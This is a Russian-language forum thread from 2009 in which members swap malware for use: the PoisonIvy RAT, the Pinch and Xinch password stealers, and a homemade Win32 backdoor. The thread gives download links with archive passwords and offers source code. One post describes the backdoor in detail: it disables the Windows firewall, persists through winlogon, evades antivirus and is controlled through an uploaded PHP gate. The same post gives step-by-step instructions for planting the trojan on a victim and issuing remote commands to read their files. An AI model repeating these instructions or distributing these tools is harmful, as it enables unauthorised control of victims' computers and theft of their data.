Твой софтовый форум > Тематические форумы > Хак! Ломать не строить - это уметь надо

Viruses.. Do not open!

,

Делимся вирями...

Дата публикации: 08.11.2009 - 19:17
Pages: 1, 2, 3, 4
de1ay
PoisonIvy 2.0
Меня трой порадовал smile.gif Удобный, неглючный, с форумом поддержки
. Вроде всё, качаем и наслаждаемся. (Внутри архива .pdf файлик с инструкциями)

PS:Хотелось-бы выразить благодарность в поимке лошадки в интернете парню с ником One Second wink.gif

Пароль:
SoftoRooM.NeT
Jon-dog
Вот немного руссифицировал чтоб кто в англ плохо, понимали как сделать ехе

_https://softoroom.org/...n-dog.rar.html
Пароль на архив: SoftoRooM.NeT
DemonRND
Касперский его заметил... Обидно, а так класный тойанчик))
snike
многофункциональный бэкдор под Win32-системы, работающий по
архитектуре "клиент-сервер", с помощью которого можно практически полностью контролировать
зараженную систему.

Возможности:
- Выполнять любые команды в системе через коммандный интерпретатор cmd.exe
- Работа с файловой системой через cmd.exe
- Запускать любые программы в системе
- Выводить свое сообщение
- Выключать/Перезагужать/Завершить сеанс зараженной машины
- Закрывать/Открывать CD-ROM
- Включать/Выключать монитор
- Устанавливать свои собственные обои
- Выставлять мышь на левшу/правшу
- Установка курсора в разные координаты (:
- Включать/Выключать Scroll Lock, Num Lock, Caps Lock на клавиатуре
- Прятать кнопку "ПУСК", панель со свернутыми окнами, Quick Launch, часы, трей и т.д

Фичи:
- Автозагрзука из под winlogon (Userinit).
- Вырубает встроенный Windows-файрвол (ICF/ICS и WSCSVC), который блокирует коннекты к машине
- Управление зараженной машиной через PHP-гейт. Теперь об анонимности можно беспокоиться в два раза меньше.
- Маленький размер сервера. Всего ~4,50 килобайт (паковал FSG, компилил LCC, так что возможно еще меньше).
- На момент релиза, ни один антивирус не определил троянский код.
Впариваем троян (/server/server.exe) ламеру. Затем заливаем на шелл скрипт управлением трояном (/web/gate.php).
На шелле должен быть установлен PHP и поддерживаться работа с сокетами. Узнаем IP-адрес ламера. Заходим на
скрипт:
http://shell/sbg.php?....0.1&port=5745, где 127.0.0.1 - это IP-адрес жертвы. Затем вводим команды
в одно единственное поле.

----[ 0x02: команды

команды без аргументов:

CODE
hide_panel       /     show_panel
hide_start       /     show_start
hide_rebar       /     show_rebar
hide_quicklaunch /     show_quicklaunch
hide_tasksw      /     show_tasksw
hide_trey        /     show_trey
hide_treybutton  /     show_treybutton
hide_treyicon    /     show_treyicon
hide_time        /     show_time
mouse_on         /     mouse_off
mouse_swap_on    /     mouse_swap_off
numlock_on       /     numlock_off
capslock_on      /     capslock_off
scrolllock_on    /     scrolllock_off
keyboard_on      /     keyboard_off
monitor_on       /     monitor_off
cdrom_open       /     cdrom_close
logof / power / rboot / stand / sleep
about
beep


команды c аргументами:

CODE
set_wallpaper^C:\путь\к\картинке\в\формате.BMP
cmd^комманда
messagebox^текст_сообщения^заголовок_сообщения
crazy_cdrom^кол-во_выдвигов/задвигов
crazy_mouse^частота_сдвигов(мл.сек)^кол-во_раз


Примеры ввода команд:
CODE
  monitor_off
  messagebox^Hacked by SN!KE=))^
  cmd^dir
  cmd^type C:\a.txt

Короче говоря ^ - разделитель.
_https://softoroom.org/...v0.01_beta.rar
З.Ы. При желании могу выложить исходник.
snike
Погляди на свой "Press any key to format C:"
_https://softoroom.org/...1227999/sr.rar
Исходники...
de1ay
Пинч 2.58 - это итак все знают. smile.gif
Download

Ксинч - альтернатива пинчу wink.gif
https://softoroom.org/...M.NeT.rar.html

pWd: kalabok
snike
Какая версия Ксинча?
de1ay
QUOTE
Какая версия Ксинча?

1.5 alfa 3 wink.gif
Jon-dog
Трой не трой, и троем то не назвать, и вурусом, вобщем скрипт сброса (удаления) пароля на радмин при каждой перезагрузке компа! провернено на 2.1, 22

mabden
Jon-dog не сможешь еще раз вылажить русик к PoisonIvy 2.0
Pages: 1, 2, 3, 4


Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке: Viruses.. Do not open!
SoftoRooM © 2004-2024